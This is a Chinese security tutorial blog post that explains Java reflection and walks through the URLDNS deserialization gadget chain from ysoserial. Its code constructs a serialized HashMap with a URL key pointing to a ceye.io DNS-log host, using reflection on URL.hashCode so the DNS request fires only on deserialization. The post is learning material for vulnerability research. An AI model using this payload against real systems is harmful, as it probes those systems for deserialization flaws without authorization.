Java无所不能的反射-URLDNS链分析

admin 2022年5月3日01:05:46评论29 views字数 7847阅读26分9秒阅读模式

打算学习cc链的知识,一边记笔记,一边分析出来,大家可以一起学习。

我参考的视频是  B站的   白日梦组长  

在安全中,java反射起到很大的作用。

让java具有动态性修改已有对象的属性动态生成对象动态调用方法操作内部类和私有方法
在反序列化中定制需要的对象通过invoke调用除了同名函数以外的函数通过class类创建对象,引入不能序列化的类

讲之前呢,先带大家过一遍反射的知识点,有助于理解。


內存:即JVM内存,栈、堆、方法区啥的都是JVM内存

class文件:就是所谓的字节码文件,这里直观些成为 .class 文件



java源代码执行后,会生成.class 文件 俗称字节码文件,会把里面的变量,方法之类的数据,加载到内存里,new对象 就开辟一个空间存储数据,子类调用父类构造器,构造器执行代码块,初始化语句啥的,大家自行百度 不会了Java无所不能的反射-URLDNS链分析


Java无所不能的反射-URLDNS链分析


Student学生类

package file;
import java.util.Objects;
public class Student {
private String name; private int age;
public String hitger; public String weighter;
public String a; protected String b; String c; private String d;
public Student(){}
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public Student(String name, int age) { this.name = name; this.age = age; } public void eat(){ System.out.println("猫 吃 🐟"); } public void eat(String food){ System.out.println("猫 吃 🐟"+food); } @Override public String toString() { return "Student{" + "name='" + name + ''' + ", age=" + age + ", hitger='" + hitger + ''' + ", weighter=" + weighter + ", a='" + a + ''' + ", b='" + b + ''' + ", c='" + c + ''' + ", d='" + d + ''' + '}'; }
// 重写hashcode 和equals @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Student student = (Student) o; return age == student.age && Objects.equals(name, student.name); }
@Override public int hashCode() { return Objects.hash(name, age); }}

获取class对象三种方式

//  多用于配置文件 读取文件 加载类Class.forName("包名.类名") 将字节码文件加载到内容,返回class对象//  多用于参数的传递类名.class                 通过类型class 返回属性//  多用于对象的获取字节码的方式对象.getClass
import file.CopyFile;import file.Student;
public class Demo1 { public static void main(String[] args) throws Exception { // class.forname Class<?> cls = Class.forName("file.CopyFile"); System.out.println(cls); // 类名.class Class<CopyFile> cls1 = CopyFile.class; System.out.println(cls1);
// 对象.getClass Student s = new Student(); Class<? extends Student> cls2 = s.getClass(); System.out.println(cls2); }}


常用方法

获取成员变量们getFields()   获取所有public修饰的成员变量getField(String name) 获取指定名称的public修饰的成员变量  获取值 get()  修改值 set()getDeclaredField(String name)  获取单个成员变量
setAccessible 暴力反射
getDeclaredFields() 获取所有的成员变量 不考虑修饰符

获取构造方法们 作用 创建对象 newInstance()getConstructors() getConstructor(类<?> type) 构造方法 单个
获取成员方法们作用 执行方法 invoke() 获取方法名 getName()getMethods()getMethond(String name,类<?> type)
获取类名称getName()


获取成员变量

import file.Student;
import java.lang.reflect.Field;
public class Demo2 { public static void main(String[] args) throws Exception { Student s = new Student();
// 获取class对象 Class<? extends Student> cls = s.getClass();
// 获取所有成员变量 Field[] fields = cls.getFields(); for (Field field : fields) { System.out.println(field); } // 获取单个成员变量 Field w = cls.getField("weighter"); System.out.println(w);
// 获取成员变量的数值 修改 Object o = w.get(s); System.out.println(o);
w.set(s,"李四"); System.out.println(s);
// 获取所有的成员变量 Field[] df = cls.getDeclaredFields(); for (Field f : df) { System.out.println(f); } // 获取单个成员变量 获取值 修改值 Field dd = cls.getDeclaredField("d"); // 取消修饰符安全型考虑 俗称暴力反射 dd.setAccessible(true);
Object vaule = dd.get(s); System.out.println(vaule);
dd.set(s,"谁tm买小米"); System.out.println(s); }}


获取构造方法

import file.Student;import java.lang.reflect.Constructor;
public class Demo3 { public static void main(String[] args) throws Exception{ Student s = new Student();
// 反射 Class cls = s.getClass();
// 获取单个构造方法 Constructor con = cls.getConstructor(String.class, int.class); System.out.println(con); // 创建对象 Object obj = con.newInstance("张三", 30); System.out.println(obj); }}


获取成员方法

import file.Student;
import java.lang.reflect.Method;
public class Demo4 { public static void main(String[] args) throws Exception{
Student s = new Student();
// 反射 Class<? extends Student> cls = s.getClass(); // 获取无参方法 Method cat_methond1 = cls.getMethod("eat"); // 执行方法 cat_methond1.invoke(s); // 获取有参方法 Method eat_methnd2 = cls.getMethod("eat", String.class); eat_methnd2.invoke(s,"和猫粮");
// 获取所有public修饰的方法 Method[] methods = cls.getMethods(); for (Method m : methods) { // 遍历方法 System.out.println(m); // 遍历方法名 System.out.println(m.getName()); }
// 获取类方法名 String name = cls.getName(); System.out.println(name); }}


涉及cc链 就会涉及到序列化相关知识,很早之前写了一篇,可以参考下

java反序列化


URLDNS链分析

先从最简单的链条开始分析,因为简单,难的我暂时也不会

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

调用链如下

简单来说,就是代码中,层层调用类。

什么意思:

比如 写一个工具类,每次都写重复的代码,很繁琐,把相同的逻辑代码 抽出来,单独写到一个文件里,如,HttpClinet.java 这里写了jdbc连接数据的流程,我下次在连接数据库,直接调用HttpClinet.connet 直接一两行就完成了。

 *  Gadget Chain: *     HashMap.readObject() *       HashMap.putVal() *         HashMap.hash() *           URL.hashCode()
github作者翻译:作为反序列化的一部分,HashMap会对它调用的每个键调用hashCode*反序列化,因此使用Java URL对象作为序列化键允许*它会触发DNS查找。


在java中 有很多泛型(数据类型)  hashMap最常见  翻冰蝎,哥斯拉 这些源码时,也会经常看到这种泛型。

在java安全中, hashMap  +  反序列化 + 反射  ===  无敌

hashMap 最关键的就是它的泛型,可以是String,Integer,又或者Object,包括自己写的 Person Student

那么 cc 链 是和 反序列化挂钩的,像shiro 反序列化,fastjson反序列化等等

创建了小demo 演示 反序列化的过程  代码写注释了 就不过多解释,早期发过一次java反序列化学习 可以看下

import java.io.Serializable;
// 创建person类 实现反序列化接口 不继承接口 就无法对数据序列化操作public class Person implements Serializable { private String name; private int age;
public Person(){}

public Person(String name, int age) { this.name = name; this.age = age; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
@Override public String toString() { return "Persin{" + "name='" + name + ''' + ", age=" + age + '}'; }}


import java.io.FileOutputStream;import java.io.ObjectOutputStream;
public class SerializableTest { // 创建序列化方法 创建一个bin文件 存储序列化后的数据 public static void serializable(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception { // 创建person对象 Person person = new Person("张三", 23); // 实现序列化方法 serializable(person); }}

Java无所不能的反射-URLDNS链分析


import java.io.FileInputStream;import java.io.ObjectInputStream;
public class UnSerializableTest { // 创建反序列化方法 传参一个文件 读取文件内容 返回给 obj 对象 public static Object Unserializable(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void main(String[] args) throws Exception { // 反序列化操作,类型强制类型转换 Person person = (Person) Unserializable("ser.bin"); System.out.println(person);
}}


Java无所不能的反射-URLDNS链分析


如果说,我在序列化步骤中,添加了命令执行的代码,就会产生rce漏洞。

回到上一步,接着讲urldns利用链

HashMap会对它调用的每个键调用hashCode

使用Java URL对象作为序列化键允许

ctrl + 左键 可以查看源代码

查看hashMap源码 他实现了序列化的接口 当我们存储数据 需要使用put方法

Java无所不能的反射-URLDNS链分析


查看put 源代码  调用hash方法 点进去 key调用了hashCode方法

Java无所不能的反射-URLDNS链分析


Java无所不能的反射-URLDNS链分析


接着看URL 他也调用了hashCode 方法

Java无所不能的反射-URLDNS链分析


在hashmap中 key也会调用hashcode方法 所以这就形成了一条调用链

HashMap -> implements Serializable   实现序列化接口hashMap.put -> hash -> key.hashCode == url(key).hashCode

这样写不知道你们能不能理解,,,

就是说,创建一个HashMap泛型,在创建一个url连接,使用put方法把url数据存放到里面,这个hashmap 实现了序列化方法,那么它里面的数据都可以被序列化,使用put后,会把url当作一条数据,传给hash方法,它就去调用hashCode放,这个url就是一个key ,这个key 调用了hashCode,这个key原本就是URL 方法创建的,所以查看URL源代码 就明白为什么会有HashCode方法了。

代码实现下,看看dnslog会不会有数据

import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.net.URL;import java.util.HashMap;
public class SerializableTest { public static void serializable(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception {// Person person = new Person("张三", 23); // 创建hashmap泛型 HashMap<URL,Integer> hashMap = new HashMap<>(); // 创建一个url资源 URL url = new URL("http://mvkn4u.ceye.io"); // 存放url数据 hashMap.put(url,1); serializable(hashMap);
}}

Java无所不能的反射-URLDNS链分析


虽然成功了但是存在问题的,打个断点,我们看看

Java无所不能的反射-URLDNS链分析


Java无所不能的反射-URLDNS链分析



使用 put后存放数据 hashCode 就变成了-1 就会造成 我还没有序列化 就已经执行了请求dns的操作了。

为了修改这个问题,所以引入了反射机制。利用反射 把hashcode 改成其他值 让他在put这一步变成其他值。


import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;
public class SerializableTest { public static void serializable(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws Exception {// Person person = new Person("张三", 23); // 创建hashmap泛型 HashMap<URL,Integer> hashMap = new HashMap<>(); // 创建一个url资源 URL url = new URL("http://mvkn4u.ceye.io"); // 获取url 字节码文件 Class c = url.getClass(); // hashCode 是私有变量 使用setAccessible强制修改 Field hashcodefied = c.getDeclaredField("hashCode"); hashcodefied.setAccessible(true); hashcodefied.set(url,123); hashMap.put(url,1); hashcodefied.set(url,-1); serializable(hashMap);
}}


Java无所不能的反射-URLDNS链分析



执行序列化后 没有收到dns请求,反序列化打断点后查看hashCode值

Java无所不能的反射-URLDNS链分析


执行反序列化后 成功收到请求

Java无所不能的反射-URLDNS链分析


今天的内容分享完毕,期待大佬们投稿


原文始发于微信公众号(轩公子谈技术):Java无所不能的反射-URLDNS链分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月3日01:05:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java无所不能的反射-URLDNS链分析http://cn-sec.com/archives/960980.html

发表评论

匿名网友 填写信息